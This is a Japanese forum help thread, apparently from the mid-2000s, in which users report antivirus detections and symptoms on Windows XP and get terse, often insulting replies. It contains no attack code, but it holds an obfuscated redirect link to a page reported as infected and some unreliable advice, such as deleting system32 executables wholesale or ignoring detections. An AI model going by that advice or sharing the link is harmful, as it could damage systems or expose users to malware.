インターネットオプション→インターネット一時ファイル、ファイルの削除
これで確かにtemporary Internet Filesの中身は消えるのですが、
Temporary Internet Filesって２つありますよね。
インターネットオプションから開くTemporary Internet Filesと、
そのフォルダから上に行ったところにあるtempフォルダの中にも。
今回はそちらのほうから検出され、インターネットオプションのファイル削除では消せません。
tmep→Temporary Internet Files→content.IE5というフォルダ→WDKDCTMPというフォルダの中に入ってます。
これを手動で削除しろということでよろしいでしょうか。

>>205
二つともメールを介して感染する。
Googleで見れば危険性は良くわかる。
メール停止、至急ウイルス対策ソフトを買う。

>>207
うｍ。ただ一時ファイルだし誤検出だし放って置いても問題ないよ。
それにウイルスコードに遭遇するたびその一時ファイルはできるよーな(￣▽￣；)

>>209
レス感謝します。
削除はしました。
そうなんですか・・・
なんか、ひとつはトロイの木馬扱いだったので、やっぱり誤検出でも気になります・・・
ノートンがその辺改善してほしいですね。
度々返答ありがとうございました。

【使用OS】 ＸＰ
【WindowsUpdateしてるか】yes
【AntiVirusは何を使っているか】 AVGFree
【ちゃんとUpdateしてるか】 Yes
【スキャンした結果（ウイルス名・発見場所）】 スキャンができない
Winnyで落としたRARファイルなんだが、スキャン自体ができない。（スキャンの画面すらでない
他のファイルだと問題なくスキャンできる。
スキャン方法は対象のファイルの右クリから。
なんでそんなことがおこるのか、考えられる理由はなんざんしょ？

>>211
>>1

ウイルスと何か関係ありそうなの、それ？

お前ら頭悪すぎ・・・ｗ

はいはい、頭いい頭いい

>>211
適当なフォルダに放り込んでフォルダごとスキャンしたら？

はじめまして、パソコンは使うだけでシステムなどは超初心者です。
使っているパソコンはバイオで、昨年夏に購入したもののあまり使っていなかったせいもあり
セキュリティは無料お試し版の期限が切れたまま使っていました。
(インターネットセキュリティは利用できているようですが、アンチウィルスが切れたまま)

昨日の夜位から、ノートンのウィルス警告で”wscript.kakworm”(高危険度)が出てくるようになりました。
それで慌てて無償のウィルスチェック等を試しましたが、検知できませんでした(>_<)
今日また警告が出たので更にチェックを試してみたんですが、やっぱり検知できずでした。

考えてみたところ、通常のインターネット利用では警告が出てこず、Yahooメールなどを使っている時に
出てくる事が多かったように思います。
ちなみに先程一度切断して接続しなおしてからはまだ警告は出てきていません。

私はこれから何をするべきでしょうか！？自分が無知であった為なのですがとても不安です。
アドバイス、どうぞ宜しくお願いいたします<(_ _)>

>>217
買え！・・・だけど、とりあえずは
オンラインスキャンでも>2

>>217
アンチウイルスを買うか、そのまま。
ほとんど使って無いなら大したデータも入ってないんだろうし、
そのままでも良いかも。
どうせこれからも使わないんでしょ？

217です。

それがこの最近かなり使っていて、デスクトップとかに個人情報
ありまくりでorz はげしく心配です。

警告が出るのに何故オンラインスキャンで出ないのか謎です。
新しいウイルスではないようなのに…(つд∩)

でも感染してるって事ですよね？
質問ばかりですみません…

【使用OS】XP SP1
【WindowsUpdateしてるか】してないです
【AntiVirusは何を使っているか】期限が一年ほど切れたノートン
【ちゃんとUpdateしてるか】上記の通り
【スキャンした結果（ウイルス名・発見場所）】異常が見つかりませんでした
【別のオンラインスキャンしたならその結果は】してないです
【症状を具体的に、分かる限りすべて書く】
・起動時におかしな効果音が鳴る
・http://www.viplog.net/desktop/src/1148386221608.jpg
こんな物が表示される
・Cドライブの残り容量が変わる（さっきサムライズでの表示が残り0Gになりました）
・起動時にかってにネットに接続される
・勝手に画面の解像度が変わる


【何をしたらそんなことになったのか】特に思い当たる節は無いです
【これまでにとった措置】ノートンでスキャン、Ad-Aware SE Personalでスキャン

何かウイルスに感染しているのでしょうか?
なんか怪しすぎな効果音が流れてるあたり非常に怖いのですが・・・

>>221
とりあえずオンラインスキャンしたら？

>>220
警告だけで感染はしてないのでは？
Wscript.KakWormは古いタイプなので
一年前のアンチウイルスでも対応してるはず。

心配ならこれからちゃんとしたアンチウイルス使えば。

>>222
わかりました
してみます
どれでも同じですかね?

>>224
タダなんだから全部やる。

>>217
何事も自分で判断できないならPCなんぞ使うな！！！

>>226
あなたには聞いてないです。

>>218 >>219 >>223 ありがとうございました<(_ _)>

良い根性してるなw

前も居たな・・・こういう人

３日もすればまた罹るさ

age

【使用OS】
Windows XP
【WindowsUpdateしてるか】
自動更新
【AntiVirusは何を使っているか】
SGアンチスパイ
【スキャンした結果（ウイルス名）】
Trojan-Dropper.Win32.Small.amw
Trojan-Downloader.BAT.Ftp.z
【別のオンラインスキャンしたならその結果は】
ウイルスバスター　異常なし
【症状を具体的に、分かる限りすべて書く】
目に見えた症状は特にありません。
【何をしたらそんなことになったのか】
DL。動画、フリーソフト。
【これまでにとった措置】
SGアンチスパイ 「隔離」から「削除」その後、詳細スキャン。
【その他の質問】
削除した後の詳細スキャンでは何も異常は見当たりません。
バックドア型だったりしたら、その後のケアも必要なんですよね？
いいサイトの情報など教えてください。よろしくお願いします。

SGアンチスパイのスレで聞いたら？

【使用OS】 win XP SP2
【WindowsUpdateしてるか】 してる。
【AntiVirusは何を使っているか】 ウィルスバスター2005
【ちゃんとUpdateしてるか】 してる。
【スキャンした結果（ウイルス名・発見場所）】 VBS_REDLOF.A-11ですが、スキャンでは
出てきませんでした。（踏んだときのみ。感染ファイルはキャッシュ内のhtmファイル）
【別のオンラインスキャンしたならその結果は】 していない。
【症状を具体的に、分かる限りすべて書く】 現状では特になにも。
【何をしたらそんなことになったのか】 レドロフに感染しているページを開いて
しまい、バスターで「隔離できなかったので、手動で削除する必要があります」と
出ました。
【これまでにとった措置】 キャッシュの削除。削除後も削除前もウィルススキャンで
ウィルスは検索されませんでした。（ウィルスページを開いたときに警告が
出たのみ）。
【その他の質問】 手動で削除、とのことですが、キャッシュを削除する以外に何か
すべきことはあるのでしょうか。今までバスターでウィルスを隔離→駆除していたので
隔離できなかったときにどうすればいいのかよくわかりません。

>>234
そのままほっといておｋ

>>234
ググレよ池沼が

ここで ググレカス登場 ↓

【使用OS】 XP
【WindowsUpdateしてるか】 してない
【AntiVirusは何を使っているか】 ウィルスバスター2005
【ちゃんとUpdateしてるか】 してない
【スキャンした結果（ウイルス名・発見場所）】 してない
【別のオンラインスキャンしたならその結果は】 してない
【症状を具体的に、分かる限りすべて書く】
フォルダのアイコン画像のexeを生成するもので。
正常な別のアプリファイルの名前＋4桁のアルファベットと
数字の組み合わせたもの.exeで同じフォルダ内に
つくられるみたいです。サイズと日時が必ず同じで432.128バイト、
作成日時と更新日時が2001年01月1日0:00となっています。
情報が少ないですがウイルス等わからないでしょうか？
【何をしたらそんなことになったのか】 DL
【これまでにとった措置】 隔離

>>238
ググレカス

てかアップデートして来い

>>238
ｸﾏｰ

>>240
自宅PCはオフラインなので更新できないんです。

>>242
オンラインにしろボケ

>>179
うっかり、同じ症状になった。(蝿とビジー状態)
セーフモードで対象のファイルをフォルダごと削除して、
ショートカットも削除したら問題なく使えてる。
オンラインチェックも問題ないみたい。
なんかわすれてる？

【使用OS】
　XP sp1
【WindowsUpdateしてるか】
　自動更新で
【AntiVirusは何を使っているか】
　Avast!
【ちゃんとUpdateしてるか】
　している
【スキャンした結果（ウイルス名・発見場所）】
　Avast!では脅威なしでした。
【別のオンラインスキャンしたならその結果は】
　トレンドマイクロ：脅威なし
【症状を具体的に、分かる限りすべて書く】
【何をしたらそんなことになったのか】
【これまでにとった措置】
　ネットで拾ったBuBuTWというソフトを実行したのですが、そのときからProject1というタスクが表示され、
　これがあると勝手にスタンバイに移行してしまいます。
　一度終了すれば以後普通に使えているのですが、PC起動時にも勝手に起動しているので困っています。
　スタートアップにも登録はされていないのでもしかしたらウィルスなのではないでしょうか。
【その他の質問】

XP　sp1って・・・更新されてないじゃん
sp2になってないの？

インスコしたBuBuTWアンインスコしてもだめなら、
システムの復元でインスコする前の日付に戻してみな

PC初心者に近いんですが…海外ｻｲﾄでｳｲﾙｽに感染したのか、ｲﾝﾀｰﾈｯﾄが開けなくなっちゃったんです(>_<)どうしたらいいのか何一つとして分からないです…PC買い替えなきゃいけないんですか??(ρ_;)
聞くｽﾚここで良かったでしょうか??

PC初心者
http://pc7.2ch.net/pcqa/

>>247
>PC買い替えなきゃいけないんですか??(ρ_;)
マジレスするとそんなことはない。
このスレでまともな回答がほしいなら>>1を読んでくれ。

ウイルスバスターを入れてる者なんですが、こんな表示が出て困っています

リアルタイム検索中にウイルス/スパイウェアが見つかったため、
自動的に処理しました。
ファイル名: C:\System Volume Information
\_restore{B7D0B1ED-26CF-470F-A992-3EBB4CF7AB81}\RP545\A0091529.dll

手動で処理せよとの指示が出ているんですが、 ｃドライブを見てもSystem Volume Information
なるフォルダがどうしても見つかりません。
対策方法をご存知な方がいらっしゃれば、教えてください。

>>250
ググレよ

>>250
ttp://www.ahnlab.co.jp/faq/faq_virus.asp
問1の所をやってみたら？

>>249ｻﾝ>>1の意味が分かりません…↓初心者のとこに行ってみますありがとうございます

>>253
>>1のテンプレを使って質問してくれってこと

テンプレってなんですか？

>>255
通りすがりですが、
>>1のテンプレとは、
【使用OS】
【WindowsUpdateしてるか】
【AntiVirusは何を使っているか】
【ちゃんとUpdateしてるか】
【スキャンした結果（ウイルス名・発見場所）】
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】
【何をしたらそんなことになったのか】
【これまでにとった措置】
【その他の質問】

ここまでくると親切とか言うより廃人相手にしてる感じがする

>>255
定食と丼があります

小柱の丼ください。

ttp://www.google.co.jp/search?hl=ja&q=%77%77%77%2E%64%6F%75%62%6C%65%68%2E%66%72%2F%61%75%64%69%6F%2F%69%6E%64%65%78%2E%68%74%6D&btnI
↑
これ踏んじゃったんだけど、トロイに感染したっぽい・・・orz
とりあえずインターネット一時ファイルを削除して
もう一度スキャンしても検出されなかったんで、これで大丈夫かな？

【使用OS】XP
【WindowsUpdateしてるか】している
【AntiVirusは何を使っているか】マカフィー
【ちゃんとUpdateしてるか】不明
【これまでにとった措置】インターネット一時ファイルを削除
【その他の質問】アドバイスお願いします

>>260
感染したっぽいじゃなくて、なんという名前のがどこから検出されたのか書いてくれ
そうした情報なしに回答者に地雷とわかってるサイト踏ませようとはいい度胸だ

>>261
場所は確かTemporary Internet Filesだったと思う
何ていうトロイだったか名前は忘れちゃった、すまねぇ・・・OTZ

ちなみに今現在おまいの貼ったページ自体は無害のようだ
そこからリンクされてるページは怪しいにおいたっぷりだが

XPもきっちり最新のパッチ当ててあって
マカフィーもアップデートしてたってんなら様子見でもいいと思うが
心配ならシステムの復元でサイト踏む以前に戻しとけ

>>263
ありがとう
とりあえず様子身しときます

【使用OS】 WindowsXP HomeEdition
【WindowsUpdateしてるか】 してない。SP1のまま
【AntiVirusは何を使っているか】 AVG Free
【ちゃんとUpdateしてるか】 してる
【スキャンした結果（ウイルス名・発見場所）】 ウイルス本体は検出自体出来ず。
msconfigのスタートアップに"C:\:滝川クリトリスv4_5.exe"が追加されていたので、
恐らくこの場所にウイルス本体があると思われる。
【別のオンラインスキャンしたならその結果は】
トレンドマイクロとシマンテックがウイルスの本体のコピーを検出した。
本体は検出出来ず。
【症状を具体的に、分かる限りすべて書く】
"C:\:滝川クリトリスv4_5.exe"というファイル名でウイルス本体が存在していて、
ＰＣ起動時に自動起動されてレジストリに自身のコピーへの値を追加したり、
自身のコピーを作ったりする。
どんな迷惑活動をするのかは知らない。
この妙な位置に:が入ったファイル名を扱えるファイラーがみつから無い。
【何をしたらそんなことになったのか】
ネットで拾ったexeファイルを実行してしまった
【これまでにとった措置】
レジストリを修復して、ウイルスの自動起動をしない状態には出来た。
（でも本体がＰＣ上に残っているのは不安なので削除したい。）
ウイルスが生成したファイルは、本体以外全て削除した。
トレンドマイクロ・シマンテック・AVGでスキャンして警告が出るものは全て削除した。
今は何の警告も出ない状態になっているが、恐らくウイルス本体を参照出来ていないだけ。
explorer、delコマンド、MFilerで本体の削除を試みたが出来ず。

よろしくお願いします。

>>265
>>1

ダウンロード板のほうで聞くべきという事でしょうか？
ではこちらの質問は閉めます。

超あせってます、教えてください
画面の左上の隅っこに、黒い固まりができて
汚れか、とおもったら少しずつ大きくなってまつ、、

いま直径２センチくらいに成長しますたが、なんの菌でしょうか？
まりもは何かの惑星みたい　ときどき後ろから後光が刺す、、
黒い太陽のまわりを、コロナがかこんでいるみたいになっている

いま二日目で、若干大きくなったように感じます。。
これはウイルスなのでしょうか？？

北斗２００４ずっといれっぱなしで、アップデートしなかったので、
その菌にやられたと思ってから、慌てて２００６にアップグレードしました
ウインドウズはときどきアップデートしてます
ちなみに、２０００使ってます。。

で、北斗のほうでは、ウイルス無しとのことでした。。

------------------------------------------------------------------------------
VDownloader 0.2 (Youtube, Google Video, Grinvi)
http://www.enriquepuertas.com/wp-content/files/vdownloader.zip

1.DL・解凍後、VDownloaderを起動する
2.動画URLを入力してDownloadボタンをクリック
3.AVIまたはMPEGを指定するDialogが出るのでどちらか選んでOKをクリック
4.指定した保存先にDLされた後、自動的にAVIまたはMPEGに変換される

スクリーンショット
http://comunidad.uem.es/myfiles/epuertas/vdownloader02.jpg
-----------------------------------------------------------------------------

↑
このソフトなんだけど、これってウイルスなんですか？
ノートンアンチウイルスでスキャンしても何も検出されないんですが。
下のURLでウイルスだって言われてるんですが。。。
http://pc7.2ch.net/test/read.cgi/streaming/1149072592/285
http://pc7.2ch.net/test/read.cgi/streaming/1149072592/400
http://pc7.2ch.net/test/read.cgi/streaming/1149072592/405-406
http://pc7.2ch.net/test/read.cgi/streaming/1149072592/409
http://pc7.2ch.net/test/read.cgi/streaming/1149072592/419

思いっきり解凍してVDownloader.exeをクリックして起動してしまったんですが、
大丈夫でしょうか？
一応、ソフトの機能どおり、普通にYoutubeから動画をダウンロード、
それをAVIに変換と出来ました。

クッキーを手動で削除したのに、スパイウェア削除ソフトが
「トラッキングクッキーを検出した」と反応するのですが、
（クッキーの場所に、もうクッキーが格納されていないのに）
こういうのって、トラッキングクッキーが消されると、
修復しようとするプログラムがトラッキングクッキーと
一緒にどこかの場所に入ってくるんでしょうか？
それとも、クッキーの場所にない所に、トラッキングクッキーを入れられるんでしょうかね？

【使用OS】 winXP2
【WindowsUpdateしてるか】 してる
【AntiVirusは何を使っているか】 ウィルスバスター
【ちゃんとUpdateしてるか】 してる
【スキャンした結果（ウイルス名・発見場所）】 cgi-bin.txt.
【別のオンラインスキャンしたならその結果は】 セキュリティ落とすのが怖いのでしてない
【症状を具体的に、分かる限りすべて書く】 クッキーを消してもスパイウェア削除ソフトに反応するのはなぜか
【何をしたらそんなことになったのか】 クッキー許可の企業サイトにログインして
【これまでにとった措置】 スパイウェア削除ソフトで削除（今は検出してない）

色んなスレがあってどこで質問すれば良いのか迷っていましたが、とりあえず
ここで質問させてもらいます。

【使用OS】 WinXP SP2(Home
【WindowsUpdateしてるか】 Yes
【AntiVirusは何を使っているか】 @niftyセキュリティ24
【ちゃんとUpdateしてるか】 Yes
【スキャンした結果（ウイルス名・発見場所）】 未検出（スパイウェアスキャンではどれがError Safeの物か判りませんでしたが十何件か検出）
【別のオンラインスキャンしたならその結果は】 未検出
【症状を具体的に、分かる限りすべて書く】 某掲示板からのリンクを踏んでError Safeというソフト騙されて実行してしまいました。
【何をしたらそんなことになったのか】 セキュリティ24の仕様で、ONにしてる間は串を通した状態になってしまうので、その掲示板に書き込むためにOFFにしていた事が原因かと思われます。
【これまでにとった措置】 とりあえず、セキュリティ24のウィルスチェック（ウィルスバスターオンラインスキャン使用）と、更に「悪意のあるソフト削除ツール」他幾つかのスキャンツールを使いスキャンしましたがどれも未検出でした。
先に述べたようにスパイウェアをスキャンしたところ、判別はつかなかったものの一通り削除。
次に、「プログラムの追加と削除」を使い通常通りError Safeをアンインストールしました。
【その他の質問】これで、しっかり削除されているはずなのですが、心配なのでここで質問することにしました。
ご指摘、返答お待ちしております。

>>267
答えるだけの知識や技術を持ち合わせていないのです。
すみません。
何か分かりましたら教えてください。

>>270
VBA32のヒューリスティックでBackdoor.Delf.13
という反応が出ます。
危険の可能性があります。

VBA32でしかかからないとは・・・

>>274
ダウソとセキュ板の区別も付かない奴は氏ね

>>277
答えないのではなく、答えられないバカ乙。

>>277
知ってれば教えるけど、分からないから教えられない。
不用意に出所不明のexeを実行しないのが基本ではあるが。

>>275
ほんとだな
シマンテックに報告しといた

>>275-276
ありがとうございます

Vdownloader.exe、実行してしまった＿|￣|○

【使用OS】 winxp sp2
【WindowsUpdateしてるか】 してます
【AntiVirusは何を使っているか】 ノートンインターネットセキュリティ
【ちゃんとUpdateしてるか】してます
【スキャンした結果（ウイルス名・発見場所）】なし
【別のオンラインスキャンしたならその結果は】spybotも反応無し
【症状を具体的に、分かる限りすべて書く】
１ヶ月程前から、15分置きにタスクバー上に何かがポップアップします。
アイコンは真っ白で、1秒程タスクバー上に現れすぐに消え
また１５分後ぴったりに現れます。一瞬フリーズするような感じです。
今までは気にしてなかったのですが、オンラインゲームを始めたところ
フルスクリーンだとそれがポップする度に落とされてしまうのでどうにか駆除したいです。
スパイウェアの類かと思ったのですが、スキャンでも反応しなく困ってます。
【何をしたらそんなことになったのか】　原因不明です。p2pは以前やってましたが
現在はアンインスコ済みです
【これまでにとった措置】ノートン先生、spybotによる完全スキャン

有識者の方、ご助言よろしくお願いします。

マカフィーのお試し使用期間が切れるんですけど、
継続しないとウィルスやばいですか？
他のウィルス対策ソフトは何も使ってません。
ライムワイヤー使ってます。

ペスパトでスキャンしてみれば?
http://www3.ca.com/securityadvisor/pestscan/

>>284
これは何ですか?

>>285
PestPatrolでぐぐってみれ

>>281
オレも実行してしまった…orz

DOS画面と思われる小窓出てたし、URL入れてもavi/mpgに変換されない。
「やっちまったー…」と思いつつ、トレンドマイクロに報告しといた…。

ところで、Backdoor.Delf.13って、山田オルタナティブ系？
ぐぐったけど良く分からん。

>>287
ttp://www.viruslistjp.com/viruses/encyclopedia/?virusid=56564
この辺の亜種じゃねーかな？

上に出てたペスパトというソフトでスキャンしてみたところ
CnsMinとJWord Pluginが検出されたのですが
調べてみたところこれとはあまり関係は無さそうです
私と似た症状が起こったことのある方おりませんでしょうか？

>>289
msconfigで常駐してるものを順に切っていって原因調べてみたら？

メールソフトを起動すると　その起動した時間で受信のウイルスメールを
３件ほど受信することが　多いのだが　　　なぜ？？

すいません>>283お願いします。

>>292
やばい

>>292
マカフィーを継続しても良いし、フリーのアンチウイルスでも
良いから最新版使ったほうがいいよ。

>>293
>>294
レスありがとう！
お金ないからなるべく買いたくなかったけどやっぱりやばいかぁ・・
詳しくないからそのままマカフィー継続しようと思います。どうも。

>>287
トレンドマイクロに通報って普通にメールで
「これウイルスっぽいから検査お願い」って出したの？

俺もノートンに送ろうと思ってるんだが、普通にメールでこのソフトのURLと
VBA32でウイルス反応出るって書いて送ればいいのかな？

＞＞２９６
NortonAntivirusのレポート→検疫項目欄に提出って項目があるからそこから送れる
ちなみに今回のはもう送ってる

おおっと[CLOSING]きてたわ
ウイルスじゃないみたいだが先生は使うな言うとる

ファイルを分析しました。送られたそれぞれのファイルについてわかったことを
以下に報告します。
ファイル名: D:\vdownloader\VDownloader021\VDownloader.exe
コンピュータ: YOUR-1225E243B5
結果: デベロッパーノートを参照してください。
デベロッパーノート :
D:\vdownloader\VDownloader021\VDownloader.exe is clean and not malicious.


このファイルは悪質なものではありませんが、あなたのコンピュータ上で知らないうちに動作しています。
このファイルを削除することをお勧めします。

>>296
つttp://subwiz.trendmicro.com/SubWiz/Wizard.asp?opgWizard=7
F-Secureにも送るか

今使ってるバスターでは何も検出されなかったけど
ノートンのオンラインスキャンしたら
２ｃｈDoeViewのログdatからたくさん検出されおった。
これ、誤動作記述があるってだけですよね？

>>296
そう。ウィルス通報フォームがあるから、落とした圧縮ファイル添付して
ほぼ>>275の内容コピペみたいな感じで送ってみた。

山田・キンタマ系だとすると、winny使ってないから
暴露されようがないのかなぁ、と一瞬思った。どうなんだろ。

山田はHDDをサーバーにする

>>297
>>299
>>301

正直すまんかった
作者にメールして聞いてみたんだが、
VBA32のHeuristcs（Pranaoid mode）でやった時の誤検出だとさ。
作者もVBAにメールで報告したらしい。

ちなみに作者はスペインの大学の教授です。
で、その大学のブログでそのソフト公開してます。
この大学。
Universidad Europea de Madrid
p://www.uem.es/

詳細はここ見てください
http://pc7.2ch.net/test/read.cgi/streaming/1149218381/

専用スレたってたんか
とりあえず>>303乙

>>300
たぶんそう

OS XPSP2
使用PCｲｰﾏ3020
PCネット環境無し
　　　　　　　　　　　　再起動するとシステム32内のms〇〇.exeがかってに起動してCPU使用率を百ﾊﾟｰにしてしまいます
削除して再起動してみるとこんどは違うms〇〇.exeが起動してCPU使用率を百ﾊﾟｰにしてしまいます
これの繰り返しです
（〇〇に入る文字はそのつど違う）
こんなウィルスあるかごぞんじですか？
対策ごぞんじでしたら教えてください　　　　　　　　　　　　
・うえに書いた通りにいまネット環境ないのでウィルス定義が最新ではありませんが
ウィルスチェックしてもウィルスは見つかりませんでした
・スパイウェアも同様に見つかりませんでした
・システムの復元してみても無駄でした

>>306
以前はネットにつないでたの？
何か怪しいファイルを実行したのでは？
ネットにつないでまずはオンラインスキャンでもやってみたら？

うん、半年前まではネットつないでいたけれど
上に書いた症状がでたのは昨日なんです
特になんかいつもやってる事以外を実行したわけじゃないので時限式のウィルスかな？と思ってここで聞いてみたのです
　　　　　　　　　　　　で、もうめんどくさいからダメ元でシステム32のなかのMS〜で始まるexeを全部削除したら解決しちゃつたかもしれないw
このせいで不具合でるかもしれないけどとりあえず様子見てみます

age

超PC初心者です。
非常に困っています、皆様のお力添えをお願いしたく

【使用OS】 XP
【WindowsUpdateしてるか】 していない
【AntiVirusは何を使っているか】 ウイルスバスター　コーポレートエディション
【ちゃんとUpdateしてるか】 していない
【スキャンした結果（ウイルス名・発見場所）】
・Ｔemporary　Innternet　Files　HTML　MHTREDIRA
・Windous　System32　トロイ
・Program　Failes　トロイ
・他
【別のオンラインスキャンしたならその結果は】していない
【症状を具体的に、分かる限りすべて書く】 メールいっぱい受信する
【何をしたらそんなことになったのか】 エロサイト（恥ずかしいです）
【これまでにとった措置】 Ｔemporary　Innternet　Files　削除
【その他の質問】

再インスコ

ありがとうございます。実は会社のPCなので簡単に再ｲﾝｽﾄｰﾙする事が出来ません。それ以外の方法はないでしょうか？？

>【WindowsUpdateしてるか】 していない
>【ちゃんとUpdateしてるか】 していない
>【スキャンした結果（ウイルス名・発見場所）】
>・Ｔemporary　Innternet　Files　HTML　MHTREDIRA
>・Windous　System32　トロイ
>・Program　Failes　トロイ
>・他
Updateもしてないし、ウイルスがわんさか入ってるような状態じゃ
リカバリするしかないんじゃない？

age

ヤッパリ駄目ですか?ｳｲﾙｽ感染した時はシステムやプログラムにトロイが入ってたんですが、今はバスターしてもシステム32しかHitしません。システム32の削除及び復旧の仕方はどうするんでしょうか?意味無いでしょうか?足掻いてスミマセン。教えて下さい。

>>315
>>310？

情報が少なすぎるし、スパイウェアにもやられてる悪寒
リカバリ決定
リカバリ後はすぐにアップデートするように

ウイルスはHTML　MHTREDIRAって奴だけだったの？
略してトロイって呼んでるなら論外だぞ

316 317 有難うございます ｳｲﾙｽはHTMLとTROJシリーズでした。

WindowsUｐdateもしてない、アンチウイルスソフトのupdateもしてない、
これじゃあトロイはやりたい放題だな

現状で何されてるかわからんのだから
被害拡大しないうちにそのマシンの回線切って
さっさと再インスコしろ
会社のPCなら管理者に相談するんだな

TROJシリーズ???
性格に書いてよｗ

管理者も大変だな。

>>310

管理がずさんだと当然リスクが高くなっちゃいますよ
必要なデータファイル等をバックアップしてからリカバリですね
最低限OFFLINEでのSP2適用が必要です

>>310
やれるだけ駆除してみたら？
まずはオンラインスキャンか、最新状態にバスターをUpdateしてスキャン。
何というウイルス、トロイなのかを特定する。
あとはレジストリとか修復して、アンチスパイそふとでスキャン。
基本をやっていくしか。

>>310
ttp://www13.plala.or.jp/sukiero/erostart/
ttp://www.higaitaisaku.com/removewz01.html

>310
OSはXPだな。
WindowsUpdateやってない、ウイルスバスターは入れてあるが、
定義ファイルの更新はやっていない。
あと、
＞【症状を具体的に、分かる限りすべて書く】 メールいっぱい受信する
症状はこれだけじゃなくて、まだ他にもあるんだろ。
エロサイトのポップアップ広告がしつこく開く。とか、IEのスタートページが
変更されて戻せないとか、変な英語の警告文が、タスクバーから表示されたままになってる
とか、ブラウザに見覚えの無いツールバーが表示され、かつそれが消せないとか、他色々。

結論、リカバリ推奨。

Script.RedLof.HeadVirs

てなんでしょうか？ググってもトレンドマイクロで検索してもそれっぽい
ものが見当たりません。
とあるサイトで感染してました報告があったので･･･
ウィルスバスター入れていてウィルス検索しても何も出てこないのですが

どなたか分かる方お願いします。

普通にRedLofでググレよｗ

＞VBS_REDLOF.A

ってすでに撲滅したんじゃなかったけ？

ググってきました！

kernel32ってファイルがあったら削除しろ的なことが書いてあったので
システムを検索したらありました。
で、トレンドマイクロで削除手順があったので見てみたら自動削除ツールが
DLできたので、早速試してみたのですが何も発見されませんでした。
これってどういうことですかね？
じゃあ、上記のファイルはなんなんだと。

【使用OS】 WindowsXP
【WindowsUpdateしてるか】 わかりません
【AntiVirusは何を使っているか】 のーとん？ってことですか？
【ちゃんとUpdateしてるか】 しますた
【スキャンした結果（ウイルス名・発見場所）】 発見されませんでした
【別のオンラインスキャンしたならその結果は】 しようとしましたが、おとせませんですた
【症状を具体的に、分かる限りすべて書く】 やけに重く、コマンドプロンプト見たら、
韓国あたりの悪質IP(？)に、勝手に接続しようとしてました
【何をしたらそんなことになったのか】 わかりませんが、スレ開いたら、
のーとん先生に激怒されました
【これまでにとった措置】 なにをすればいいのかわからないので
まだしていません。
とりあえずネット遮断したくらいです
【その他の質問】 ウィルスバスターというソフトを買えば
どうにかなるのでしょか？

どなたか教えていただけないでしょか？

【使用OS】WinXP
【WindowsUpdateしてるか】自動更新しています
【AntiVirusは何を使っているか】Norton Internet Security 2005
【ちゃんとUpdateしてるか】自動更新しています

【スキャンした結果（ウイルス名・発見場所）】
　ウイルスが発見されませんでした…。
【別のオンラインスキャンしたならその結果は】
　ウイルスバスターオンラインスキャンと、
　Micrsoftのサイトにあった悪意あるツールの有無をチェックするもの
　どちらも異常なしとの結果でした。
【症状を具体的に、分かる限りすべて書く】
　いずれも今週の月曜日からの症状です。
・状態エラー204→シャットダウン
・メールの大量配信（メーラーは経由していない模様）
・侵入検知のログを見ると大量にPortScanが発生していました。

【何をしたらそんなことになったのか】
　ウイルススキャンが途中でフリーズ→再起動→発症

【これまでにとった措置】
　メールの大量配信を止めるため、
　Nortonのファイアーウォールでポート25を閉じています。

【その他の質問】
　いかにもウイルスらしき行動なのに、
　2日がかりで調べてもウイルスが検出されず、
　対処のしようがない状態で困っています。
　どうぞお力を貸していただけないでしょうか。

>>331
1.reg
2.ﾘｶﾊﾞﾘ

>>329
どう読んだのかは知らないけど・・・
それになりすましてるのが危険であって kernel32自体は別にあって問題ない。
つまりは感染してなかったってだけでしょ。
つかテンプレに沿って質問しないとそっちの環境が解らないんで、
間違った解答とか無駄なやり取りのレスが続くんでちゃんとテンプレ使って。

age

http://www.google.co.jp/search?hl=ja&q=%E9%9D%92%E6%9C%A8%E9%9A%86%E8%A1%8C&lr=

ウイルスになってみたいのですがどうですか。どうせ誰もウイルスにする知識も無いからあきらめます。

ウイルスにはなれないだろw

ギコナビ バタ51でニュー速の
橋本元首相病状続報】緊急手術で腸摘出、人工肛門取り付ける...(1149601.dat)
を開こうとしたらトロイ（Exploit-MhtRedir.gen）
を検知されちゃったんだけどどうゆうこと？
AntiVirusはマカフィーvirus scan ver8.0です

まぁ誤検出だろうけど
マカフィースレで聞いた方がいいんでない

>>337
発見しただけなら構わないんじゃないの
どうせ脆弱性がなければそんなスクリプトで感染しないんだから

スルーされてしまうのはなにゆえですの？

面白くないから

おもしろくなくていいです
深刻っぽいのです

自分で何1つ把握できてないし再インストールした方が早い

把握できてたら、質問しないのです。
何を再インストールです？

PC買い換えると全て初期状態でクリーンな環境でつよｗ

>>338
>>339
サンクス
マカフィースレで聞いてみます

釣り板の

【釣成果】外道の【外道だからといって捨てるな】

と、言うスレがいつも２つしかレスが無いんで、どうしたんだろう？と思って見てみたら
、何やらアルファベットがたくさん書いてあって、セキュリティが動き出し感染しました。
あれはいったい何？あんなのあるの？詳しい方教えてください！！

>>344
いい加減消えろ

>>348
( ﾟ∀ﾟ)＜ﾌﾟｯﾌﾟｰ
きれてるの？( ﾟ∀ﾟ)＜ﾌﾟｯﾌﾟｰ

マイドキュメントに保存した、ファイル名に"pass"とか"password"とかついているファイルが
C:\Documents and Settings\ユーザー名　の中に勝手にコピーされているのを発見しました。
あと、そこに"Administrator"とは別に"Administrator-コンピュータ名"というユーザー名が
勝手に出来ていました。
なんだか気味が悪いです。これがトロイの木馬というものなのでしょうか？

【使用OS】XPSP2
【WindowsUpdateしてるか】 している
　　特に今日特に重要ではないUPDATEをまとめて６個ほど行った
　　直後の再起動時、StartupScannerでOSのサービスが
　　３０個ほど削られていて、再スキャンしたら
　　３０個ほどのサービスが追加されていました。
【AntiVirusは何を使っているか】 マカフィー
【ちゃんとUpdateしてるか】 自動（ほぼ１日に１回アップデートされている）
【スキャンした結果（ウイルス名・発見場所）】 見つからない
【別のオンラインスキャンしたならその結果は】 ウイルスバスター：見つかりませんでした。
【症状を具体的に、分かる限りすべて書く】
　DonutおよびDonut_L(というタブブラウザー)を起動中または
　起動しようとすると、マカフィーのウイルススキャン機能がOFFになります。
　ONにしてもすぐOFFになります。
　また　http://xxxxx.dyndns.tv/~nadesiko/up/img/upupup3425.gif という
(『タイムアウト期間内に、指定した\Device\HardDisk1\DR4でのI/O操作が完了しませんでした。』)
　メッセージが頻繁に出ます。

【何をしたらそんなことになったのか】
　直前に見たサイト
　tp://yu-net.info/swfup/viewswf.php/3651.swf （フラッシュ）
(雑談系板で張られていて、他に症状を訴える人は無し)
　その少し前に見たサイト
